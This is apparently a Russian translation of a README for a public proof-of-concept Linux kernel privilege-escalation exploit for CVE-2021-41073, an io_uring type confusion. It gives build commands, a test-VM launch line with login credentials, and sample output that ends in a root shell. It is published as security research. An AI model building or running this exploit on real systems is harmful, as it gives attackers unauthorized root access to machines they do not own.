
Локальный эксплойт для повышения привилегий для CVE-2021-41073, уязвимости типа confusion в io_uring в ядре Linux, позволяющей получить root на конфигурациях по умолчанию.
LPE-эксплойт для уязвимости type confusion в io_uring CVE-2021-41073.
Ознакомьтесь с разбором Put an io_uring on it: Exploiting the Linux Kernel.
автор: @chompie1337
Только для образовательных/исследовательских целей. Не предназначен для тестирования или оценки безопасности.
Для сборки (требуется liburing):
gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`
gcc -I include/ -o exploit exploit.c bpf.c -l:liburing.a -lpthread
Я предоставил тестовую ВМ с ядром 5.15-rc1 для тестирования/запуска эксплойта.
Для запуска ВМ извлеките архив test_vm и выполните:
qemu-system-x86_64 -m 2G -smp 2 -kernel /path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" -drive file=/path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/stretch.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -nographic -pidfile vm.pid 2>&1 | tee vm.log
Подключитесь по ssh к машине как непривилегированный пользователь:
ssh -p 10021 hi@localhost
пароль: lol
Для запуска:
$ ./exploit
[+] set/getxattr file created
[+] bpf program loaded created
[+] FUSE maps created
[+] opened /proc/self/maps
[+] io_uring initialized
[+] spraying kmalloc-32 cache with io_buffer structs!!
[!] vuln trigger #1 for task_struct leak
[+] task_struct: ffff90740554c4c0
[!] vuln trigger #2 for KASLR leak
[!] single_next: ffffffffb2064520
[!] vuln trigger #3 for cache ptr leak
[+] fake bpf_prog: ffff9074056aacb0
[!] vuln trigger #4 to overwrite socket filter
[+] it worked! have a r00t shell :)
Иногда требуется 3-4 попытки, чтобы пройти всю последовательность эксплойта. Перезагружайте ВМ после каждой попытки запуска эксплойта. В будущем этот эксплойт можно улучшить; методы описаны в разборе. PoC публикуется строго с целью обмена знаниями с другими исследователями и теми, кто хочет изучить продвинутую эксплуатацию ядра.
Этот эксплойт является ДОКАЗАТЕЛЬСТВОМ КОНЦЕПЦИИ для методов, описанных в статье в блоге, и позволяет повысить привилегии локально в Linux Kernel 5.15-rc-1 с конфигурациями по умолчанию. Я не намерен адаптировать эксплойт и превращать его в оружие для работы с каждой затронутой версией Linux. Я предоставил код для демонстрации большинства описанных методов, а также создал и задокументировал методы, необходимые для обхода различных средств защиты, которые некоторые дистрибутивы могут включать, в сопроводительной статье в блоге.
Конфигурации ядра, использованные в предоставленной тестовой ВМ, находятся в папке test_vm, если вы хотите работать с ядром, собранным вручную. Если вы хотите внести свой вклад, pull request'ы приветствуются :)
Это исследование было спонсировано Grapl.